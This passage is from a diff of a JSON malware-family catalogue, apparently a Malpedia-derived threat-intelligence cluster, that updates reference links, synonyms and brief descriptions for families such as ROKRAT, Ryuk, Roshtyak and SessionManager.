"https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", + "https://unit42.paloaltonetworks.com/atoms/moldypisces/", "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html", + "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://www.ibm.com/downloads/cas/Z81AVOY7", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" + "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", + "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", + "https://www.youtube.com/watch?v=uoBQE5s2ba4", + "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", + "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", + "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" ], "synonyms": [ "DOGCALL" @@ -36362,6 +38324,19 @@ "uuid": "ab5066b4-d5ff-4f83-9a05-6e74c043a6e1", "value": "Rombertik" }, + { + "description": "Unit 42 observed threat actor Tropical Scorpius using this RAT in operations where also Cuba ransomware was deployed.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat", + "https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5f1c11d3-c6ac-4368-a801-cced88a9d93b", + "value": "ROMCOM RAT" + }, { "description": "", "meta": { @@ -36379,12 +38354,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook", - "https://seguranca-informatica.pt/rook-ransomware-analysis/", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/", + "https://seguranca-informatica.pt/rook-ransomware-analysis/", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", "https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/", - "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" ], "synonyms": [], @@ -36412,12 +38388,27 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam", "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" ], - "synonyms": [], + "synonyms": [ + "PisLoader" + ], "type": [] }, "uuid": "8a4eb0ca-7175-4e69-b8d2-fd7a724de67b", "value": "Roseam" }, + { + "description": "A DLL backdoor distributed by Raspberry Robin. According to Avast Decoded, Roshtyak belongs to one of the best-protected malware strains they have ever seen.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.roshtyak", + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "398316b7-3ccd-445e-ab10-4428f165649f", + "value": "Roshtyak" + }, { "description": "Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.", "meta": { @@ -36454,17 +38445,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix", - "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", - "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", - "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", - "https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/", - "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981", - "https://securelist.com/oh-what-a-boot-iful-mornin/97365" + "https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/", + "https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/", + "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", + "http://www.malwaretech.com/2014/05/rovnix-new-evolution.html", + "https://securelist.com/oh-what-a-boot-iful-mornin/97365", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", + "https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/" ], "synonyms": [ "BkLoader", @@ -36481,10 +38472,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli", - "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://github.com/nccgroup/Royal_APT", + "https://www.secureworks.com/research/threat-profiles/bronze-palace" ], "synonyms": [], "type": [] @@ -36497,10 +38488,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns", - "https://github.com/nccgroup/Royal_APT", - "https://www.secureworks.com/research/threat-profiles/bronze-palace", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://github.com/nccgroup/Royal_APT", + "https://www.secureworks.com/research/threat-profiles/bronze-palace" ], "synonyms": [], "type": [] @@ -36513,7 +38504,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena", + "https://www.socinvestigation.com/threat-actors-delivers-new-rozena-backdoor-with-follina-bug-detection-response/", "https://www.gdatasoftware.com/blog/2019/07/35061-server-side-polymorphism-powershell-backdoors", + "https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor", "https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena" ], "synonyms": [], @@ -36527,13 +38520,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm", + "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "https://www.youtube.com/watch?v=YXnNO3TipvM", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "https://securelist.com/financial-cyberthreats-in-2020/101638/", "https://jonahacks.medium.com/malware-analysis-manual-unpacking-of-redaman-ec1782352cfb", - "https://www.youtube.com/watch?v=YXnNO3TipvM", - "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "http://www.peppermalware.com/2019/11/brief-analysis-of-redaman-banking.html", - "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/" ], "synonyms": [ @@ -36601,8 +38594,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom", "https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html", - "https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/", - "https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html" + "https://blogs.vmware.com/security/2022/04/ruransom-a-retaliatory-wiper.html", + "https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/" ], "synonyms": [], "type": [] @@ -36630,16 +38623,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock", - "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf", + "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html", "http://blog.threatexpert.com/2008/05/rustockc-unpacking-nested-doll.html", + "https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/", + "http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", "https://darknetdiaries.com/episode/110/", - "http://contagiodump.blogspot.com/2011/10/rustock-samples-and-analysis-links.html", - "https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/chiang/chiang_html/index.html", - "https://krebsonsecurity.com/2011/03/microsoft-hunting-rustock-controllers/", "http://www.drweb.com/upload/6c5e138f917290cb99224a8f8226354f_1210062403_DDOCUMENTSArticales_PRDrWEB_RustockC_eng.pdf", + "http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/", "https://www.secureworks.com/blog/research-21041", - "http://blog.novirusthanks.org/2008/11/i-wormnuwarw-rustocke-variant-analysis/" + "http://sunbeltsecurity.com/dl/Rootkit%20Installation%20and%20Obfuscation%20in%20Rustock.pdf" ], "synonyms": [], "type": [] @@ -36652,166 +38645,169 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://n1ght-w0lf.github.io/malware%20analysis/ryuk-ransomware/", - "https://threatconnect.com/blog/threatconnect-research-roundup-possible-ryuk-infrastructure/", - "https://community.riskiq.com/article/0bcefe76", - "https://www.hhs.gov/sites/default/files/bazarloader.pdf", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.splunk.com/en_us/blog/security/ryuk-and-splunk-detections.html", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://twitter.com/ffforward/status/1324281530026524672", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-NicolaoMartins.pdf", - "https://www.advanced-intel.com/post/adversary-dossier-ryuk-ransomware-anatomy-of-an-attack-in-2021", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-ryuk-ransomware-targeting-webservers.pdf", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", - "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-stops-encrypting-linux-folders/", - "https://blog.reversinglabs.com/blog/hunting-for-ransomware", - "https://blog.malwarebytes.com/threat-spotlight/2019/12/threat-spotlight-the-curious-case-of-ryuk-ransomware/", - "https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/", - "https://blog.virustotal.com/2020/10/tracing-fresh-ryuk-campaigns-itw.html", - "https://www.scythe.io/library/threatthursday-ryuk", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://edition.cnn.com/2020/10/28/politics/hospitals-targeted-ransomware-attacks/index.html", - "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/4217-ccn-cert-id-26-19-ryuk-1/file.html", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-likely-behind-new-orleans-cyberattack/", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://0xc0decafe.com/2020/12/28/never-upload-ransomware-samples-to-the-internet/", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", - "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://twitter.com/IntelAdvanced/status/1353546534676258816", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/", "https://blog.emsisoft.com/en/35023/bug-in-latest-ryuk-decryptor-may-cause-data-loss/", - "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/SecurityJoes/status/1402603695578157057", - "https://github.com/scythe-io/community-threats/tree/master/Ryuk", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", - "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/5768-ccn-cert-id-03-21-ryuk-ransomware/file.html", - "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", - "https://news.sophos.com/en-us/2021/05/06/mtr-in-real-time-pirates-pave-way-for-ryuk-ransomware/", - "https://www.bleepingcomputer.com/news/security/steelcase-furniture-giant-hit-by-ryuk-ransomware-attack/", - "https://community.riskiq.com/article/c88cf7e6", - "https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/91000/KB91844/en_US/McAfee%20Labs%20Threat%20Advisory%20-%20Ransom-Ryukv6.pdf", - "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", - "https://4rchib4ld.github.io/blog/NiceToMeetYouRyuk/", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", - "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - 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"https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", "https://twitter.com/SophosLabs/status/1321844306970251265", "https://www.youtube.com/watch?v=BhjQ6zsCVSc", - "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://labs.sentinelone.com/an-inside-look-at-how-ryuk-evolved-its-encryption-and-evasion-techniques/", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://blog.cyberint.com/ryuk-crypto-ransomware", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", - "https://thedfirreport.com/2020/10/08/ryuks-return/", - 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"https://www.bleepingcomputer.com/news/security/french-it-giant-sopra-steria-hit-by-ryuk-ransomware/", - "https://www.youtube.com/watch?v=Of_KjNG9DHc", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-deployed-two-weeks-after-trickbot-infection/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://securityliterate.com/reversing-ryuk-a-technical-analysis-of-ryuk-ransomware/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2019-ACT-005.pdf", - "https://twitter.com/IntelAdvanced/status/1356114606780002308", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://blog.talosintelligence.com/2020/06/CTIR-trends-q3-2020.html#more", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", "https://www.domaintools.com/resources/blog/analyzing-network-infrastructure-as-composite-objects", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.heise.de/ct/artikel/Was-Emotet-anrichtet-und-welche-Lehren-die-Opfer-daraus-ziehen-4665958.html", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://krebsonsecurity.com/2020/10/fbi-dhs-hhs-warn-of-imminent-credible-ransomware-threat-against-u-s-hospitals/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc", - 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"https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", - "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", - "https://insights.oem.avira.com/ta505-apt-group-targets-americas/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/", - "https://securitynews.sonicwall.com/xmlpost/servhelper-2-0-enriched-with-bot-capabilities-and-allow-remote-desktop-access/", - "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.gdatasoftware.com/blog/2020/07/36122-hidden-miners", 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"https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.gdatasoftware.com/blog/2020/07/36122-hidden-miners", + "https://securitynews.sonicwall.com/xmlpost/servhelper-2-0-enriched-with-bot-capabilities-and-allow-remote-desktop-access/", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf", + "https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/" ], "synonyms": [], "type": [] @@ -37612,13 +39626,26 @@ "uuid": "cebfa7af-8c31-4dda-8373-82893c7f43f4", "value": "ServHelper" }, + { + "description": "A malicious IIS module that allows up/download of files, remote command execution, and using the compromised server as a hop into the network behind.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager", + "https://securelist.com/the-sessionmanager-iis-backdoor/106868/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2ed6f7dc-32ba-4799-87b6-8867e8182cec", + "value": "SessionManager" + }, { "description": "Ransomware", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile", - "https://id-ransomware.blogspot.com/2020/02/sfile2-ransomware.html", "https://twitter.com/GrujaRS/status/1296856836944076802?s=20", + "https://id-ransomware.blogspot.com/2020/02/sfile2-ransomware.html", "https://www.sentinelone.com/blog/from-the-front-lines-another-rebrand-mindware-and-sfile-ransomware-technical-breakdown/" ], "synonyms": [ @@ -37635,22 +39662,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer", - 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"https://blog.f-secure.com/a-hammer-lurking-in-the-shadows/", + "https://countercept.com/blog/analysis-shadowhammer-asus-attack-first-stage-payload/", + "https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html", + "https://www.youtube.com/watch?v=T5wPwvLrBYU", + "https://labsblog.f-secure.com/2019/03/29/a-hammer-lurking-in-the-shadows", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://blog.reversinglabs.com/blog/forging-the-shadowhammer", + "https://mauronz.github.io/shadowhammer-backdoor", + "https://norfolkinfosec.com/possible-shadowhammer-targeting-low-confidence/", + "https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/", + "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://securelist.com/operation-shadowhammer/89992/", - "https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/" + 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"https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/" + "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign" ], "synonyms": [ "LastConn" @@ -37847,8 +39884,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shellclient", - "https://www.cybereason.com/blog/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms", - "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/" + "https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/", + "https://www.cybereason.com/blog/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms" ], "synonyms": [ "GhostShell" @@ -37877,11 +39914,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://intel471.com/blog/a-brief-history-of-ta505", "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/", + "http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/", 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"https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [], "type": [] @@ -38639,6 +40726,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto", + "https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259CDangerousPassword%25E2%2580%259D%2520of%2520the%2520APT%2520Organization.pdf", "https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/" ], "synonyms": [], @@ -38652,11 +40740,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader", - "https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/", + "https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/", + "https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/", "https://www.youtube.com/watch?v=k3sM88o_maM", "https://twitter.com/VK_Intel/status/898549340121288704", - "https://www.arbornetworks.com/blog/asert/snatchloader-reloaded/", - "https://myonlinesecurity.co.uk/your-order-no-8194788-has-been-processed-malspam-delivers-malware/" + "https://zerophagemalware.com/2017/12/11/malware-snatch-loader-reloaded/" ], "synonyms": [], "type": [] @@ -38685,10 +40773,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula", "https://www.circl.lu/assets/files/tr-13/tr-13-snifula-analysis-report-v1.3.pdf", - "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.darktrace.com/en/blog/the-resurgence-of-the-ursnif-banking-trojan/", - "https://malware.love/malware_analysis/reverse_engineering/2020/11/27/analyzing-a-vbs-dropper.html" + "https://www.zdnet.com/article/ursnif-trojan-has-targeted-over-100-italian-banks/", + 